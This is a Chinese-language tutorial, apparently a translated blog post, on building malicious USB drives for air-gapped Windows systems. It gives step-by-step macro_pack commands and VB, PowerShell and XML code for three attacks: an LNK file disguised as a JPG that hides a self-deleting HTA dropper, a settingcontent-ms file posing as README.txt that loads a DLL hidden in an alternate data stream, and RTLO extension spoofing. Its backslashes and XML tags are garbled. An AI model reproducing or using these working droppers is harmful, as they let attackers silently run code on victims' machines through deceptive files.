一、前言
我個人在能源行業(yè)已經(jīng)工作了好幾年,在這個領(lǐng)域,安全態(tài)勢與傳統(tǒng)的IT有所不同。比如,在這個行業(yè)可用性會比保密性更加重要,此外系統(tǒng)通常不會連接到互聯(lián)網(wǎng)(話雖如此,大家都還記得Wannacry瘋狂肆虐的樣子嗎)。網(wǎng)絡(luò)信號過濾或者物理隔離是這種場景中攻擊者必須繞過的安全防御機(jī)制。
針對工業(yè)系統(tǒng)的攻擊通常由自動化惡意軟件載荷來發(fā)起,這類載荷并不需要連接到遠(yuǎn)程系統(tǒng)。此外,載荷并不需要完成數(shù)據(jù)竊取任務(wù),因為其主要目標(biāo)就是大肆破壞。Stuxnet(震網(wǎng))病毒就是此類攻擊的一個絕佳案例。
在本文中,我想給大家展示如何利用惡意U盤的一些PoC方法,這些方法可以在模擬攻擊環(huán)境中進(jìn)行攻擊。這類攻擊方法必須遵循如下規(guī)則:
1、沒有建立互聯(lián)網(wǎng)連接;
2、除了目標(biāo)系統(tǒng)的OS信息之外,對其他信息一無所知;
3、U盤上可見的內(nèi)容應(yīng)該盡可能少地觸發(fā)警告信息;
4、載荷的執(zhí)行應(yīng)該盡可能少地觸發(fā)警告信息。
我們的目標(biāo)是傳播并運(yùn)行二進(jìn)制載荷。在如下一些樣例中,我們的載荷為DLL文件(payload.dll)。
二、利用LNK文件
目標(biāo)系統(tǒng):MS Windows OS
主要原理:我曾介紹過如何利用HTA文件發(fā)起攻擊,這是具體的操作方法。
利用策略
在第一個PoC中,我們的任務(wù)是讓目標(biāo)用戶認(rèn)為自己打開的是一個圖片文件(confidential.jpg),然而實際上他打開的是一個惡意的LNK快捷方式文件(confidential.jpg.lnk)。快捷方式中隱藏著一個HTA釋放器(dropper)。LNK會執(zhí)行HTA文件,后者會釋放并執(zhí)行DLL載荷,并將快捷方式替換為一張欺詐圖片(confidential.jpg)。

構(gòu)造釋放DLL的HTA載荷
我們可以利用macro_pack來構(gòu)造經(jīng)過混淆處理的HTA載荷,該載荷可以釋放并執(zhí)行payload.dll,具體命令如下:
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
EMBED_DLL模板可以創(chuàng)建一段VB代碼,釋放-embed參數(shù)所指向的文件,并使用Rundl32l來加載這個文件。我們可以指定模板運(yùn)行DLL文件的DllMain函數(shù)。
我們可以使用-G選項來生成HTA文件,文件中的VB代碼經(jīng)過混淆處理。
大家可以使用mshta來檢查HTA文件是否能正常運(yùn)行,是否會調(diào)用我們的DLL文件(DLL文件將被釋放到臨時目錄中)。
構(gòu)造釋放圖片的HTA載荷
我們也可以使用EMBED_EXE這個macro_pack模板來嵌入、釋放并運(yùn)行我們選定目錄中的載荷。在本文案例中,我們使用的是“confidential.jpg”這張圖片。我們的目標(biāo)是將該圖片釋放到惡意LNK文件所處的同一目錄中,這樣一旦DLL載荷被成功運(yùn)行,該圖片就可以替換對應(yīng)的LNK文件。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果我們雙擊pic.hta,我們會看到confidential.jpg圖片被釋放到當(dāng)前目錄中,并且被默認(rèn)的圖片查看器打開。
封裝到自刪除的HTA文件中
我并沒有開發(fā)具體功能來將多個二進(jìn)制載荷嵌入一個macro_pack中,也就是說我們必須生成DLL釋放器、圖片釋放器然后手動執(zhí)行復(fù)制粘貼操作才能構(gòu)造最終可用的HTA載荷。
具體操作如下:
1、使用文本編輯器打開payload.hta以及pic.hta文件;
2、將pic.hta的AutoOpen函數(shù)重命名為AutoOpen2;
3、將pic.hta的所有vb代碼拷貝到payload.hta中(最后兩行的AutoOpen以及Close代碼除外)。
4、編輯payload.hta文件最后兩行的AutoOpen以及Close代碼。
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
現(xiàn)在payload.hta文件會釋放并運(yùn)行圖片,然后運(yùn)行DLL并在運(yùn)行后刪除自身文件。
注意:如果我們想要多次使用同一個USB介質(zhì),我們需要去掉自刪除代碼,將圖片釋放到臨時目錄中,而非當(dāng)前目錄中。
構(gòu)建惡意LNK文件
我們可以利用HTA文件的便捷性,將其嵌入到LNK文件中。由于我們的LNK文件名為confidential.jpg.lnk,我們希望它能順利運(yùn)行如下命令:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
注意:我們在構(gòu)造USB載荷時,遇到的一個難題是載荷需要知道自己所處的具體路徑。這個例子中,我們依賴的是macro_pack,它可以配置LNK文件運(yùn)行在當(dāng)前目錄中,這樣一來%cd%命令就能給出當(dāng)前的卷名及路徑。在第二個PoC中我們可以看到更為困難的一種場景。
我們可以使用macro_pack來生成LNK。我選擇直接將快捷方式生成到USB介質(zhì)中,避免我們拷貝快捷方式時系統(tǒng)對其做出修改。這里USB介質(zhì)的卷標(biāo)為“G:”。
macro_pack.exe -G G:confidential.jpg.lnk
當(dāng)提示輸入“Shortcut_Target”時我們輸入如下信息:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
當(dāng)提示輸入“Shortcut_Icon”時我們輸入如下信息:
%windir%system32imageres.dll,67
注意:67這個數(shù)字對應(yīng)的是imageres.dll中的JPG圖像。

現(xiàn)在LNK快捷方式已創(chuàng)建完畢,我們可以將HTA代碼附加到該文件中。
copy /b G:confidential.jpg.lnk+cmd.hta G:confidential.jpg.lnk
就這么簡單,我們的釣魚載荷已構(gòu)造完畢。
測試
將confidential.jpg.lnk拷貝到某個USB介質(zhì)中,并將該介質(zhì)插入另一個Windows主機(jī)上。訪問U盤并雙擊confidential.jpg,系統(tǒng)會向我們顯示對應(yīng)的圖片。
DLL已被成功加載,但處于隱藏狀態(tài),我們可以使用taskmgr或者Sysinternals的procexp觀察正在運(yùn)行的DLL。DLL文件被釋放到臨時目錄中的“Document1.asd”,并使用如下VB代碼加以運(yùn)行。CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,>>", 0
順利執(zhí)行后,我們會發(fā)現(xiàn)U盤上LNK文件已不復(fù)存在,被替換成正確的圖片文件。
三、利用惡意設(shè)置
目標(biāo)系統(tǒng):MS Windows 10
主要原理:Matt Nelson之前發(fā)表過有關(guān)SettingContent-ms文件的研究結(jié)果,這里用到的就是這個原理。
利用策略
在這個場景中,我們的任務(wù)是讓目標(biāo)用戶認(rèn)為他打開的是“README.txt”文件,實際上他運(yùn)行的是一個惡意的settingcontent-ms文件。
由于settingcontent-ms文件遵循嚴(yán)格的XML規(guī)范,因此貌似我們無法像前一種方法那樣將其與HTA文件融合起來。這里我們可以使用NTFS的Alternate Data Streams(ADS,供選數(shù)據(jù)流)來隱藏并運(yùn)行DLL載荷。

這個settingcontent-ms文件將會執(zhí)行隱藏在Alternate Data Stream(README.txt.settingcontent-ms:R)中的DLL,也會運(yùn)行Notepad來顯示另一個ADS(README.txt.settingcontent-ms:T.txt)中存放的欺詐文本。
settingcontent-ms文件的優(yōu)勢在于它不會像LNK或者URI文件那樣圖標(biāo)上有個快捷箭頭。
構(gòu)建欺詐文本
首先我們可以構(gòu)建一個簡單的文本文件,當(dāng)目標(biāo)用戶打開readme文件時就會在notepad中看到具體內(nèi)容。
echo "This is a simple README file." > Text.txt
構(gòu)建惡意設(shè)置快捷方式文件
我們可以使用macro_pack來生成settincontent-ms文件。比如,我們可以使用如下命令來生成一個偽造的README.txt文件,該文件可以通過命令行來運(yùn)行計算器應(yīng)用:
echo 'C:windowssystem32cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
能彈出計算器的確很不錯,但我們真正需要的是能夠運(yùn)行載荷。DLL以及欺詐文件會隱藏在USB介質(zhì)NTFS文件系統(tǒng)的Alternate Data Stream中。我們所面臨的問題在于settingcontent-ms文件默認(rèn)會在“C:windowssystem32”中打開,這意味著我們需要找到一種方法來定位USB介質(zhì)所對應(yīng)的卷標(biāo)。我使用了powershell來完成這個任務(wù),可能還有其他方法能夠解決這個問題。
我希望執(zhí)行的命令行如下所示:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
這段命令所做的操作包括:
1、調(diào)用wmi來獲取USB卷名,存放到$drive變量中;
2、運(yùn)行notepad打開README.txt.settingcontent-ms:T.txt中的誘騙文件。
3、運(yùn)行control.exe來加載README.txt.settingcontent-ms:R中的DLL載荷。
需要注意的是,這里我們可以參考上一種場景,使用rundll32來運(yùn)行DLL,然而我想嘗試一下其他方法。
構(gòu)造完畢的README.txt.settingcontent-ms文件如下所示:
xml version="1.0" encoding="UTF-8"?>
PCSettings>
SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
ApplicationInformation>
AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelAppID>
DeepLink>%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"DeepLink>
Icon>.Icon>
ApplicationInformation>
SettingIdentity>
PageID>PageID>
HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}HostID>
SettingIdentity>
SettingInformation>
Description>@shell32.dll,-4161Description>
Keywords>@shell32.dll,-4161Keywords>
SettingInformation>
SearchableContent>
PCSettings>
創(chuàng)建Alternative Data Stream
首先,我們需要確保USB介質(zhì)已經(jīng)使用NTFS文件系統(tǒng)格式化過。
其次,將README.txt.settingcontent-ms文件移動到NTFS USB介質(zhì)中。
在這個例子中,USB介質(zhì)所對應(yīng)的卷標(biāo)為“G:”。
現(xiàn)在我們可以來構(gòu)建ADS。
首先是包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:README.txt.settingcontent-ms:R
然后是包含誘騙文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:README.txt.settingcontent-ms:T.txt
我們可以使用sysinternal的“Streams”工具來檢查創(chuàng)建的ADS的確對應(yīng)USB介質(zhì)上的文件。

注意:如果我們編輯并保存USB介質(zhì)上的README.txt.settingcontent-ms,那么與文件關(guān)聯(lián)的Alternate Data Stream就會丟失,我們不得不重新執(zhí)行以上兩條命令。
測試
將制作好的U盤插入另一臺Windows 10主機(jī)上。訪問這個U盤,雙擊“README.txt”。我們可以看到DLL被成功加載,并且notepad會自動打開,展示“This is a simple README file. ”文本。四、利用Unicode RTLO
目標(biāo)系統(tǒng):MS Windows以及其他系統(tǒng)
主要原理:實話實說我已不記得最早在哪看到這種方法。
利用策略
這一次我們準(zhǔn)備構(gòu)造一個欺詐文件后綴名,具體方法是注入Unicode Right-To-Left-Overrive(RTLO)字符。這是隱藏文件擴(kuò)展名的一種絕佳方法,因為在RTLO之后的所有字符將以從右到左的方式呈現(xiàn)給用戶。
比如,我可以使用macro_pack來構(gòu)造能夠運(yùn)行計算器的一個HTA文件,該文件帶有偽造的“.jpg”擴(kuò)展名。具體命令如下:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在資源管理器中,這個文件看起來像是calcath.jpg,而實際上它的文件名為calc[rtlo]gpj.hta。
這種方法非常有趣,并且也適用于其他操作系統(tǒng)(如Ubuntu),也有可能適用于其他應(yīng)用程序,如郵件客戶端等。
練習(xí)
我們可以通過多種方法來利用unicode RTLO實施釣魚攻擊。
比如,一種方法就是將惡意的exe文件偽裝成zip文件(更改文件圖標(biāo),同時使用RTLO方法使文件名看起來以.zip后綴名結(jié)束)。
在某個攻擊場景中,當(dāng)目標(biāo)用戶雙擊偽造的zip文件后,exe文件就會運(yùn)行載荷,打開隱藏在文件資源區(qū)或者ADS中的zip誘騙文件。
這個任務(wù)就留給大家來練習(xí)吧
|